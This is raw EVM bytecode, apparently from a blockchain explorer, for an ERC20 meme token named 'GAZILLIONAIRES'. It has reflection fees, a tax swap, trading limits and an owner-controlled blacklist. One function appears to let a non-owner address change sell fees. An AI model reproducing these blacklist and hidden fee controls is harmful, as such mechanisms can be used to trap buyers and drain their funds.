00190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b976118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b9061355f565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c876118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061355f565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d716118ba565b73ffffffffffffffffffffffffffffffffffffffff161480610de75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dcf6118ba565b73ffffffffffffffffffffffffffffffffffffffff16145b610df057600080fd5b6000479050610dfe81612376565b50565b6000610e4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e2565b9050919050565b610e5a6118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ede9061355f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fad6118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110319061355f565b60405180910390fd5b8060178190555050565b60175481565b60126020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110936118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111179061355f565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600e81526020017f47415a494c4c494f4e4149524553000000000000000000000000000000000000815250905090565b6111886118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c9061355f565b60405180910390fd5b8060198190555050565b6112276118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ab9061355f565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b60006112ea6112e36118ba565b8484611a8d565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113556118ba565b73ffffffffffffffffffffffffffffffffffffffff1614806113cb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b36118ba565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d457600080fd5b60006113df30610e01565b90506113ea81612450565b50565b6113f56118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611482576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114799061355f565b60405180910390fd5b60005b838390508110156115215781600560008686858181106114a8576114a761357f565b5b90506020020160208101906114bd91906132fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611519906135dd565b915050611485565b50505050565b6006600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bf90613770565b60405180910390fd5b80600c8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116616118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e59061355f565b60405180910390fd5b8060188190555050565b6117006118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461178d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117849061355f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f490613802565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192990613894565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199990613926565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a8091906131ef565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af4906139b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6490613a4a565b60405180910390fd5b60008111611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba790613adc565b60405180910390fd5b611bb8611062565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c265750611bf6611062565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561201157601660149054906101000a900460ff16611cb557611c47611062565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cab90613b6e565b60405180910390fd5b5b601754811115611cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf190613bda565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d9e5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd490613c6c565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611e8a5760185481611e3f84610e01565b611e499190613c8c565b10611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8090613d54565b60405180910390fd5b5b6000611e9530610e01565b9050600060195482101590506017548210611eb05760175491505b808015611eca5750601660159054906101000a900460ff16155b8015611f245750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f3a575060168054906101000a900460ff165b8015611f905750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fe65750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561200e57611ff482612450565b6000479050600081111561200c5761200b47612376565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120b85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061216b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561216a5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121795760009050612300565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122245750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561223c57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122e75750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122ff57600b54600d81905550600c54600e819055505b5b61230c848484846126d8565b50505050565b600083831115829061235a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123519190613098565b60405180910390fd5b50600083856123699190613d74565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b5050565b6000600754821115612429576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242090613e1a565b60405180910390fd5b6000612433612705565b9050612448818461273090919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561248857612487612e26565b5b6040519080825280602002602001820160405280156124b65781602001602082028036833780820191505090505b50905030816000815181106124ce576124cd61357f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561257057600080fd5b505afa158015612584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a89190613e4f565b816001815181106125bc576125bb61357f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061262330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118c2565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612687959493929190613f75565b600060405180830381600087803b1580156126a157600080fd5b505af11580156126b5573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806126e6576126e561277a565b5b6126f18484846127bd565b806126ff576126fe612988565b5b50505050565b600080600061271261299c565b91509150612729818361273090919063ffffffff16565b9250505090565b600061277283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129f8565b905092915050565b6000600d5414801561278e57506000600e54145b15612798576127bb565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127cf87612a5b565b95509550955095509550955061282d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b0d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061290e81612b6b565b6129188483612c28565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161297591906131ef565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008060006007549050600066f6a11f484ec00090506129ce66f6a11f484ec00060075461273090919063ffffffff16565b8210156129eb5760075466f6a11f484ec0009350935050506129f4565b81819350935050505b9091565b60008083118290612a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a369190613098565b60405180910390fd5b5060008385612a4e9190613ffe565b9050809150509392505050565b6000806000806000806000806000612a788a600d54600e54612c62565b9250925092506000612a88612705565b90506000806000612a9b8e878787612cf8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b0583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612312565b905092915050565b6000808284612b1c9190613c8c565b905083811015612b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b589061407b565b60405180910390fd5b8091505092915050565b6000612b75612705565b90506000612b8c8284612d8190919063ffffffff16565b9050612be081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b0d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c3d82600754612ac390919063ffffffff16565b600781905550612c5881600854612b0d90919063ffffffff16565b6008819055505050565b600080600080612c8e6064612c80888a612d8190919063ffffffff16565b61273090919063ffffffff16565b90506000612cb86064612caa888b612d8190919063ffffffff16565b61273090919063ffffffff16565b90506000612ce182612cd3858c612ac390919063ffffffff16565b612ac390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d118589612d8190919063ffffffff16565b90506000612d288689612d8190919063ffffffff16565b90506000612d3f8789612d8190919063ffffffff16565b90506000612d6882612d5a8587612ac390919063ffffffff16565b612ac390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d945760009050612df6565b60008284612da2919061409b565b9050828482612db19190613ffe565b14612df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de890614167565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e5e82612e15565b810181811067ffffffffffffffff82111715612e7d57612e7c612e26565b5b80604052505050565b6000612e90612dfc565b9050612e9c8282612e55565b919050565b600067ffffffffffffffff821115612ebc57612ebb612e26565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612efd82612ed2565b9050919050565b612f0d81612ef2565b8114612f1857600080fd5b50565b600081359050612f2a81612f04565b92915050565b6000612f43612f3e84612ea1565b612e86565b90508083825260208201905060208402830185811115612f6657612f65612ecd565b5b835b81811015612f8f5780612f7b8882612f1b565b845260208401935050602081019050612f68565b5050509392505050565b600082601f830112612fae57612fad612e10565b5b8135612fbe848260208601612f30565b91505092915050565b600060208284031215612fdd57612fdc612e06565b5b600082013567ffffffffffffffff811115612ffb57612ffa612e0b565b5b61300784828501612f99565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561304a57808201518184015260208101905061302f565b83811115613059576000848401525b50505050565b600061306a82613010565b613074818561301b565b935061308481856020860161302c565b61308d81612e15565b840191505092915050565b600060208201905081810360008301526130b2818461305f565b905092915050565b6000819050919050565b6130cd816130ba565b81146130d857600080fd5b50565b6000813590506130ea816130c4565b92915050565b6000806040838503121561310757613106612e06565b5b600061311585828601612f1b565b9250506020613126858286016130db565b9150509250929050565b60008115159050919050565b61314581613130565b82525050565b6000602082019050613160600083018461313c565b92915050565b6000819050919050565b600061318b61318661318184612ed2565b613166565b612ed2565b9050919050565b600061319d82613170565b9050919050565b60006131af82613192565b9050919050565b6131bf816131a4565b82525050565b60006020820190506131da60008301846131b6565b92915050565b6131e9816130ba565b82525050565b600060208201905061320460008301846131e0565b92915050565b60008060006060848603121561322357613222612e06565b5b600061323186828701612f1b565b935050602061324286828701612f1b565b9250506040613253868287016130db565b9150509250925092565b6000806040838503121561327457613273612e06565b5b6000613282858286016130db565b925050602061329385828601612f1b565b9150509250929050565b600060ff82169050919050565b6132b38161329d565b82525050565b60006020820190506132ce60008301846132aa565b92915050565b6132dd81612ef2565b82525050565b60006020820190506132f860008301846132d4565b92915050565b60006020828403121561331457613313612e06565b5b600061332284828501612f1b565b91505092915050565b61333481613130565b811461333f57600080fd5b50565b6000813590506133518161332b565b92915050565b60006020828403121561336d5761336c612e06565b5b600061337b84828501613342565b91505092915050565b60006020828403121561339a57613399612e06565b5b60006133a8848285016130db565b91505092915050565b600080600080608085870312156133cb576133ca612e06565b5b60006133d9878288016130db565b94505060206133ea878288016130db565b93505060406133fb878288016130db565b925050606061340c878288016130db565b91505092959194509250565b600080fd5b60008083601f84011261343357613432612e10565b5b8235905067ffffffffffffffff8111156134505761344f613418565b5b60208301915083602082028301111561346c5761346b612ecd565b5b9250929050565b60008060006040848603121561348c5761348b612e06565b5b600084013567ffffffffffffffff8111156134aa576134a9612e0b565b5b6134b68682870161341d565b935093505060206134c986828701613342565b9150509250925092565b600080604083850312156134ea576134e9612e06565b5b60006134f885828601612f1b565b925050602061350985828601612f1b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061354960208361301b565b915061355482613513565b602082019050919050565b600060208201905081810360008301526135788161353c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006135e8826130ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561361b5761361a6135ae565b5b600182019050919050565b7f4164647265737320616c72656164792061737369676e656420746f207468697360008201527f2075736572000000000000000000000000000000000000000000000000000000602082015250565b600061368260258361301b565b915061368d82613626565b604082019050919050565b600060208201905081810360008301526136b181613675565b9050919050565b7f496e76616c696420616464726573732070726f76696465640000000000000000600082015250565b60006136ee60188361301b565b91506136f9826136b8565b602082019050919050565b6000602082019050818103600083015261371d816136e1565b9050919050565b7f6e6f2076616c7565000000000000000000000000000000000000000000000000600082015250565b600061375a60088361301b565b915061376582613724565b602082019050919050565b600060208201905081810360008301526137898161374d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006137ec60268361301b565b91506137f782613790565b604082019050919050565b6000602082019050818103600083015261381b816137df565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061387e60248361301b565b915061388982613822565b604082019050919050565b600060208201905081810360008301526138ad81613871565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061391060228361301b565b915061391b826138b4565b604082019050919050565b6000602082019050818103600083015261393f81613903565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139a260258361301b565b91506139ad82613946565b604082019050919050565b600060208201905081810360008301526139d181613995565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a3460238361301b565b9150613a3f826139d8565b604082019050919050565b60006020820190508181036000830152613a6381613a27565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613ac660298361301b565b9150613ad182613a6a565b604082019050919050565b60006020820190508181036000830152613af581613ab9565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613b58603f8361301b565b9150613b6382613afc565b604082019050919050565b60006020820190508181036000830152613b8781613b4b565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613bc4601c8361301b565b9150613bcf82613b8e565b602082019050919050565b60006020820190508181036000830152613bf381613bb7565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613c5660238361301b565b9150613c6182613bfa565b604082019050919050565b60006020820190508181036000830152613c8581613c49565b9050919050565b6000613c97826130ba565b9150613ca2836130ba565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cd757613cd66135ae565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613d3e60238361301b565b9150613d4982613ce2565b604082019050919050565b60006020820190508181036000830152613d6d81613d31565b9050919050565b6000613d7f826130ba565b9150613d8a836130ba565b925082821015613d9d57613d9c6135ae565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613e04602a8361301b565b9150613e0f82613da8565b604082019050919050565b60006020820190508181036000830152613e3381613df7565b9050919050565b600081519050613e4981612f04565b92915050565b600060208284031215613e6557613e64612e06565b5b6000613e7384828501613e3a565b91505092915050565b6000819050919050565b6000613ea1613e9c613e9784613e7c565b613166565b6130ba565b9050919050565b613eb181613e86565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613eec81612ef2565b82525050565b6000613efe8383613ee3565b60208301905092915050565b6000602082019050919050565b6000613f2282613eb7565b613f2c8185613ec2565b9350613f3783613ed3565b8060005b83811015613f68578151613f4f8882613ef2565b9750613f5a83613f0a565b925050600181019050613f3b565b5085935050505092915050565b600060a082019050613f8a60008301886131e0565b613f976020830187613ea8565b8181036040830152613fa98186613f17565b9050613fb860608301856132d4565b613fc560808301846131e0565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614009826130ba565b9150614014836130ba565b92508261402457614023613fcf565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614065601b8361301b565b91506140708261402f565b602082019050919050565b6000602082019050818103600083015261409481614058565b9050919050565b60006140a6826130ba565b91506140b1836130ba565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140ea576140e96135ae565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061415160218361301b565b915061415c826140f5565b604082019050919050565b6000602082019050818103600083015261418081614144565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365456c6f6e4d75736b323330624265726e61726441726e61756c74323232624a65666642657a6f73313634624c61727279456c6c69736f6e3134356257617272656e427566666574743132316242696c6c4761746573313138624d61726b5a75636b65726265726731313262a2646970667358221220ad4cb77a77e641794d806aebeddb3b166caf38eecaff383cc6836768452e578064736f6c63430008090033

Deployed Bytecode

0x6080604052600436106101e65760003560e01c80637d1db4a511610102578063a9059cbb11610095578063c5a46ee611610064578063c5a46ee6146106c4578063dd62ed3e146106ed578063ea1644d51461072a578063f2fde38b14610753576101ed565b8063a9059cbb1461060a578063bfd7928414610647578063c3c8cd8014610684578063c492f0461461069b576101ed565b80638f9a55c0116100d15780638f9a55c01461056257806395d89b411461058d57806398a5c315146105b8578063a2a957bb146105e1576101ed565b80637d1db4a5146104a65780637f2feddc146104d15780638da5cb5b1461050e5780638f70ccf714610539576101ed565b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461041257806370a0823114610429578063715018a61461046657806374010ece1461047d576101ed565b8063313ce5671461036a57806349bd5a5e146103955780636b999053146103c05780636d8aa8f8146103e9576101ed565b806318160ddd116101b657806318160ddd146102ae57806323b872dd146102d95780632b8bbbe8146103165780632fd689e31461033f576101ed565b8062b8cf2a146101f257806306fdde031461021b578063095ea7b3146102465780631694505e14610283576101ed565b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021960048036038101906102149190612fc7565b61077c565b005b34801561022757600080fd5b506102306108a6565b60405161023d9190613098565b60405180910390f35b34801561025257600080fd5b5061026d600480360381019061026891906130f0565b6108c6565b60405161027a919061314b565b60405180910390f35b34801561028f57600080fd5b506102986108e4565b6040516102a591906131c5565b60405180910390f35b3480156102ba57600080fd5b506102c361090a565b6040516102d091906131ef565b60405180910390f35b3480156102e557600080fd5b5061030060048036038101906102fb919061320a565b610919565b60405161030d919061314b565b60405180910390f35b34801561032257600080fd5b5061033d6004803603810190610338919061325d565b6109f2565b005b34801561034b57600080fd5b50610354610b5a565b60405161036191906131ef565b60405180910390f35b34801561037657600080fd5b5061037f610b60565b60405161038c91906132b9565b60405180910390f35b3480156103a157600080fd5b506103aa610b69565b6040516103b791906132e3565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e291906132fe565b610b8f565b005b3480156103f557600080fd5b50610410600480360381019061040b9190613357565b610c7f565b005b34801561041e57600080fd5b50610427610d30565b005b34801561043557600080fd5b50610450600480360381019061044b91906132fe565b610e01565b60405161045d91906131ef565b60405180910390f35b34801561047257600080fd5b5061047b610e52565b005b34801561048957600080fd5b506104a4600480360381019061049f9190613384565b610fa5565b005b3480156104b257600080fd5b506104bb611044565b6040516104c891906131ef565b60405180910390f35b3480156104dd57600080fd5b506104f860048036038101906104f391906132fe565b61104a565b60405161050591906131ef565b60405180910390f35b34801561051a57600080fd5b50610523611062565b60405161053091906132e3565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b9190613357565b61108b565b005b34801561056e57600080fd5b5061057761113d565b60405161058491906131ef565b60405180910390f35b34801561059957600080fd5b506105a2611143565b6040516105af9190613098565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190613384565b611180565b005b3480156105ed57600080fd5b50610608600480360381019061060391906133b1565b61121f565b005b34801561061657600080fd5b50610631600480360381019061062c91906130f0565b6112d6565b60405161063e919061314b565b60405180910390f35b34801561065357600080fd5b5061066e600480360381019061066991906132fe565b6112f4565b60405161067b919061314b565b60405180910390f35b34801561069057600080fd5b50610699611314565b005b3480156106a757600080fd5b506106c260048036038101906106bd9190613473565b6113ed565b005b3480156106d057600080fd5b506106eb60048036038101906106e69190613384565b611527565b005b3480156106f957600080fd5b50610714600480360381019061070f91906134d3565b6115d2565b60405161072191906131ef565b60405180910390f35b34801561073657600080fd5b50610751600480360381019061074c9190613384565b611659565b005b34801561075f57600080fd5b5061077a600480360381019061077591906132fe565b6116f8565b005b6107846118ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108089061355f565b60405180910390fd5b60005b81518110156108a2576001601160008484815181106108365761083561357f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061089a906135dd565b915050610814565b5050565b60606040518060a00160405280606b81526020016141b0606b9139905090565b60006108da6108d36118ba565b84846118c2565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066f6a11f484ec000905090565b6000610926848484611a8d565b6109e7846109326118ba565b6109e28560405180606001604052806028815260200161418860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109986118ba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231